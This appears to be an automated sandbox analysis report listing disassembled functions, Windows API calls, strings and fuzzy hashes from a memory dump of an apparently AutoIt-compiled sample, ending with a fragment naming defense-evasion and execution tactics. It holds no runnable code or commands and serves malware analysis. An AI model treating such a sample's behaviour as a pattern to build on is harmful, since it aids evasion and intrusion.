Opcode ID: 6504a464ad744481ce6bc1c71c4353ab51ac4f53e5ce451b4dcbbfd06c50b848
Instruction ID: 7c7502ed31fa47d52dc79455bb5a3225204a4869eac23ffd9394b21f50ed1216
Opcode Fuzzy Hash: 6504a464ad744481ce6bc1c71c4353ab51ac4f53e5ce451b4dcbbfd06c50b848
Instruction Fuzzy Hash: 72219132A08A4681EB748F3594D01396650FB87BF4F281375D6AE97BDCCE78D881D340

Function 00007FF697BEA0C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697B4932C: CreateWindowExW.USER32 ref: 00007FF697B493BC
Part of subcall function 00007FF697B4932C: GetStockObject.GDI32 ref: 00007FF697B493D9
Part of subcall function 00007FF697B4932C: SendMessageW.USER32 ref: 00007FF697B493EC

GetWindowRect.USER32 ref: 00007FF697BEA18B
GetSysColor.USER32 ref: 00007FF697BEA1B2

Strings

static, xrefs: 00007FF697BEA10B

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 2cf77c951f50a5aa7b90eeaf8a6614b83960d367aa0043a5ee29e49d78538776
Instruction ID: 826475338ecb9b12053b28d1c1f793a8899df160ea74a61c1289cc2f66764d9c
Opcode Fuzzy Hash: 2cf77c951f50a5aa7b90eeaf8a6614b83960d367aa0043a5ee29e49d78538776
Instruction Fuzzy Hash: F0313B36A08785CBD334CF29E440B5AB7A5FB89790F104269DB9943B98DF38E451CF00

Function 00007FF697BE9868 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697B4932C: CreateWindowExW.USER32 ref: 00007FF697B493BC
Part of subcall function 00007FF697B4932C: GetStockObject.GDI32 ref: 00007FF697B493D9
Part of subcall function 00007FF697B4932C: SendMessageW.USER32 ref: 00007FF697B493EC

SendMessageW.USER32 ref: 00007FF697BE994F
SendMessageW.USER32 ref: 00007FF697BE9963

Strings

Combobox, xrefs: 00007FF697BE9905

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Combobox
API String ID: 1025951953-2096851135
Opcode ID: 64d9c3cb7b5de17515fad991fab36aed20c74e14fc7f9fd3c19d97b8fd4a0418
Instruction ID: a0aeec4d299035d0ceab1394ac0af26511b6118dadee933de113f45096321fab
Opcode Fuzzy Hash: 64d9c3cb7b5de17515fad991fab36aed20c74e14fc7f9fd3c19d97b8fd4a0418
Instruction Fuzzy Hash: C0315636608781CAE3708F24B440B5AB7A1FB85790F504279EAAC83B99CF3CD885CF01

Function 00007FF697BE9BD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32 ref: 00007FF697BE9CB6
SendMessageW.USER32 ref: 00007FF697BE9CCA

Strings

edit, xrefs: 00007FF697BE9C24

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 7385061f885e14c89e765babf531e3acc6228f8566b1a940e972c4d460c7f125
Instruction ID: 2386052479bc41a448d87da36c545306f75dcba496dd40f5fea87dfc868eed1b
Opcode Fuzzy Hash: 7385061f885e14c89e765babf531e3acc6228f8566b1a940e972c4d460c7f125
Instruction Fuzzy Hash: 97311836A08781CAE770DF15A44476AB7A1FB85B90F144275EAAC83B98DF3CD885CF41

Function 00007FF697B7FD90 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF697B7FEA2

Strings

pow, xrefs: 00007FF697B7FE91
", xrefs: 00007FF697B7FE7B

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _handle_error
String ID: "$pow
API String ID: 1757819995-713443511
Opcode ID: 2773d63829b6bc9e243f88705d039ab02ec385488ae35a30c1ce332e33ed45c5
Instruction ID: a01bb6ddc777d0d34034cb8547fa393cbda12f19fc1f4aa01ff6cd772ca034e0
Opcode Fuzzy Hash: 2773d63829b6bc9e243f88705d039ab02ec385488ae35a30c1ce332e33ed45c5
Instruction Fuzzy Hash: 26215072D1CA858BD370CF10E04076AAAA0FBDA384F202325F78946D59CFBDD1429B04

Function 00007FF697BADDF0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697BB0730: GetClassNameW.USER32 ref: 00007FF697BB075B

SendMessageW.USER32 ref: 00007FF697BADE7F

Strings

ListBox, xrefs: 00007FF697BADE42
ComboBox, xrefs: 00007FF697BADE0B

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ClassMessageNameSend
String ID: ComboBox$ListBox
API String ID: 3678867486-1403004172
Opcode ID: 97deb16edf8e784fc52f0d006fa99df0b5c043f3f1d7c65ec9baf9ca6ee38585
Instruction ID: a4e0938f7a94e2839a1c9c2a26642118e2f9c2695ecd867c6223bfd681b43350
Opcode Fuzzy Hash: 97deb16edf8e784fc52f0d006fa99df0b5c043f3f1d7c65ec9baf9ca6ee38585
Instruction Fuzzy Hash: 0D119076B0968181EA34EF21D4811E963A1FB96BE0F4442B1DAAC877DEDE3CE506C740

Function 00007FF697BADD48 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697BB0730: GetClassNameW.USER32 ref: 00007FF697BB075B

SendMessageW.USER32 ref: 00007FF697BADDCE

Strings

ListBox, xrefs: 00007FF697BADD92
ComboBox, xrefs: 00007FF697BADD5D

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ClassMessageNameSend
String ID: ComboBox$ListBox
API String ID: 3678867486-1403004172
Opcode ID: d39c91620d6c6e447856c574b1c807ce734865e57223a48666476f59d2f3e294
Instruction ID: bf3ddecf75a9016f94a0282398e03338b3dbc66e7b7b83d989b63749dcf8e710
Opcode Fuzzy Hash: d39c91620d6c6e447856c574b1c807ce734865e57223a48666476f59d2f3e294
Instruction Fuzzy Hash: 41118631B0968191EB30DB11E1912F963A0FF86BD4F444171DADD87B8EDE2CE605CB40

Function 00007FF697BADCA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697BB0730: GetClassNameW.USER32 ref: 00007FF697BB075B

SendMessageW.USER32 ref: 00007FF697BADD26

Strings

ListBox, xrefs: 00007FF697BADCEA
ComboBox, xrefs: 00007FF697BADCB5

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ClassMessageNameSend
String ID: ComboBox$ListBox
API String ID: 3678867486-1403004172
Opcode ID: 2b6fed8ad632b1f274e203d646578af3038472905804e24f6343927dca18ccae
Instruction ID: 42aa3dd9a04e396e2195652109f7ffad9f31c7d190c1ea14b2b173bfcfbe6986
Opcode Fuzzy Hash: 2b6fed8ad632b1f274e203d646578af3038472905804e24f6343927dca18ccae
Instruction Fuzzy Hash: 45115176B0968191EB309F11E0511F963A0FF8ABC4F8445B1EA8D8765EDF2CE605CB40

Function 00007FF697BCE708 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET ref: 00007FF697BCE772
InternetSetOptionW.WININET ref: 00007FF697BCE7A4

Strings

<local>, xrefs: 00007FF697BCE749

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 8fc137a1ef2bd80f32763a254e30885bf035247cf28a45f4fd96fdfcbffecfa0
Instruction ID: 5c98b73a33c4ed77fb99ee47ce49a375c353b7aabf845c4d0aeac2a47cfb7e4a
Opcode Fuzzy Hash: 8fc137a1ef2bd80f32763a254e30885bf035247cf28a45f4fd96fdfcbffecfa0
Instruction Fuzzy Hash: 30119836A18641C2EB718F15E1017FD2261EB81F89FA88076DB4D8669CDF3DD886C700

Function 00007FF697BEFEA4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32 ref: 00007FF697BEFF29
CloseHandle.KERNEL32 ref: 00007FF697BEFF3A

Strings

, xrefs: 00007FF697BEFF01

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-3916222277
Opcode ID: 7b42f129ca5b2bc2214f050bb36978d190a1a5278d42b1070c82c133f3bdff27
Instruction ID: 95cc8f8b1c28982f96a0323addf22d00f2ebf48c2bdfa53c7aead17ac2dbc258
Opcode Fuzzy Hash: 7b42f129ca5b2bc2214f050bb36978d190a1a5278d42b1070c82c133f3bdff27
Instruction Fuzzy Hash: CF113032A08742CAE720DF16F90026AB6B5FF85BC4F445176EA4D87A68CF3DD590CB40

Function 00007FF697BADEA8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697BB0730: GetClassNameW.USER32 ref: 00007FF697BB075B

SendMessageW.USER32 ref: 00007FF697BADF26

Strings

ListBox, xrefs: 00007FF697BADEEA
ComboBox, xrefs: 00007FF697BADEB5

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ClassMessageNameSend
String ID: ComboBox$ListBox
API String ID: 3678867486-1403004172
Opcode ID: 2fa39eb79566fbbf5ef709d97066772d08e715fc924eaba82c6fe28b878daa18
Instruction ID: ada292fcbb3926ef61b9f79ec818bd9f8093dd2228d5b2971a170cc662c3382a
Opcode Fuzzy Hash: 2fa39eb79566fbbf5ef709d97066772d08e715fc924eaba82c6fe28b878daa18
Instruction Fuzzy Hash: 96019236B1C54292EA30EF24E1911FA6360FF867D4F804171E99D87A9EDF2CE609CB00

Function 00007FF697B815B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF697B8158E

Part of subcall function 00007FF697B7FA90: _ctrlfp.LIBCMT ref: 00007FF697B7FACB
Part of subcall function 00007FF697B7FA90: _raise_exc.LIBCMT ref: 00007FF697B7FB37

Strings

!, xrefs: 00007FF697B81576
tan, xrefs: 00007FF697B815BA

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _ctrlfp_handle_error_raise_exc
String ID: !$tan
API String ID: 3384550415-2428968949
Opcode ID: 2d553fd115d33d3a807ffc94b8434da97490ee8f564b276a29f6e1ed56bbbb66
Instruction ID: dfeb5f46ad29b3464181187a10ef7709db8a09e0d9b45302534c32650529d91c
Opcode Fuzzy Hash: 2d553fd115d33d3a807ffc94b8434da97490ee8f564b276a29f6e1ed56bbbb66
Instruction Fuzzy Hash: 65019671A29B8945DA24CF12A41037A6162FBDABD4F105335EA5E4BB88EF7CD1508B00

Function 00007FF697B814FC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF697B8158E

Part of subcall function 00007FF697B7FA90: _ctrlfp.LIBCMT ref: 00007FF697B7FACB
Part of subcall function 00007FF697B7FA90: _raise_exc.LIBCMT ref: 00007FF697B7FB37

Strings

sin, xrefs: 00007FF697B81502
!, xrefs: 00007FF697B81576

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _ctrlfp_handle_error_raise_exc
String ID: !$sin
API String ID: 3384550415-1565623160
Opcode ID: 9c5650ba25f23863d1585264c289844e213b1bc1e7bffeede2023515f4cd1262
Instruction ID: fd56fd206b1c519857d4e0c66f529d25dfd90850f808f7479b3c79e64cb85e38
Opcode Fuzzy Hash: 9c5650ba25f23863d1585264c289844e213b1bc1e7bffeede2023515f4cd1262
Instruction Fuzzy Hash: F5018871E19B8945DA25CF2294503BA6262FFDBBD4F104339E95E5AB88EF7DD1404B00

Function 00007FF697B814E8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF697B8158E

Part of subcall function 00007FF697B7FA90: _ctrlfp.LIBCMT ref: 00007FF697B7FACB
Part of subcall function 00007FF697B7FA90: _raise_exc.LIBCMT ref: 00007FF697B7FB37

Strings

!, xrefs: 00007FF697B81576
cos, xrefs: 00007FF697B814EE

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _ctrlfp_handle_error_raise_exc
String ID: !$cos
API String ID: 3384550415-1949035351
Opcode ID: 59a2c881f09cdb696690f699cc12801b637b051dbcc35695dacf0c08331e8fc0
Instruction ID: 28fd0287f365439dc190f8785cd9ab3b04d3eb8f4c5755d870618fd6a40555ef
Opcode Fuzzy Hash: 59a2c881f09cdb696690f699cc12801b637b051dbcc35695dacf0c08331e8fc0
Instruction Fuzzy Hash: F601D871E19B8985DA24CF2294003BA6162FFDBBD4F104335E95E0AB88EF7DD0504B00

Function 00007FF697B81370 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF697B813F6

Strings

", xrefs: 00007FF697B813CF
exp, xrefs: 00007FF697B813E5

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _handle_error
String ID: "$exp
API String ID: 1757819995-2878093337
Opcode ID: 1dd5b4e450707440dd9d18b5c78d2e187119c4904f0596c8cb375bf303972248
Instruction ID: 848ad2c6551dd776468a7b107c7d91fb6b9e2d913b21085785ce6448e03cd295
Opcode Fuzzy Hash: 1dd5b4e450707440dd9d18b5c78d2e187119c4904f0596c8cb375bf303972248
Instruction Fuzzy Hash: 1901C476929B8987E330CF24D0492AA7BB0FFEA384F205319E7441AA64CB7DD4C19B00

Function 00007FF697BAC59C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00007FF697BAC5B6

Strings

AutoIt, xrefs: 00007FF697BAC5A6
Error allocating memory., xrefs: 00007FF697BAC5AD

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Message
String ID: AutoIt$Error allocating memory.
API String ID: 2030045667-4017498283
Opcode ID: 47289967b9eb923feb30cdf6953810302e06e8d280c3038f2442cbc3514d9180
Instruction ID: 403a1febbbc86006492ff25fe317bebc93958a4f1d8644867f32175719a0af5d
Opcode Fuzzy Hash: 47289967b9eb923feb30cdf6953810302e06e8d280c3038f2442cbc3514d9180
Instruction Fuzzy Hash: A9F0E530B1864A82EB387B56F1913B92251EF49BC0F545475DA0D87B9ECDBCD5918340

Function 00007FF697B675C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF697B675E9
TlsSetValue.KERNEL32(?,?,?,00007FF697B67241,?,?,?,?,00007FF697B6660C,?,?,?,?,00007FF697B64CD3), ref: 00007FF697B67600

Strings

FlsSetValue, xrefs: 00007FF697B675CD, 00007FF697B675D6

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 5ef202829eb63c082d646b2b3c40b210c8e2726f911b0f602dea3cecf0443926
Instruction ID: 9762c6aee660d16062dec76dc5ef3d2099a4e6b924078b1172834ae0278e5dc4
Opcode Fuzzy Hash: 5ef202829eb63c082d646b2b3c40b210c8e2726f911b0f602dea3cecf0443926
Instruction Fuzzy Hash: C9E06576A1C54281EA296F55E4005B43361EF89FD1F485071DA0DC625DCE3CD688D700

Function 00007FF697B65620 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 11COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF697B65629
_CxxThrowException.LIBVCRUNTIME ref: 00007FF697B6563A

Part of subcall function 00007FF697B67018: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF697B6563F), ref: 00007FF697B6708D
Part of subcall function 00007FF697B67018: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF697B6563F), ref: 00007FF697B670BF

Strings

Unknown exception, xrefs: 00007FF697B65645

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Exception$FileHeaderRaiseThrowstd::bad_alloc::bad_alloc
String ID: Unknown exception
API String ID: 3561508498-410509341
Opcode ID: 9460797eaada1e9b880d8cc7196a2a9f4627ae69dcab396aeadb3e3bc5cc4094
Instruction ID: 693b50e719d92fbbe57ad952f31ed1ba3bb947600fca1b430df58d40d99e92e2
Opcode Fuzzy Hash: 9460797eaada1e9b880d8cc7196a2a9f4627ae69dcab396aeadb3e3bc5cc4094
Instruction Fuzzy Hash: 0FD01736A2898691DE20EF04D8943A9A330FB80398F9044B2E24CC25B9EF2CD64AD700

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
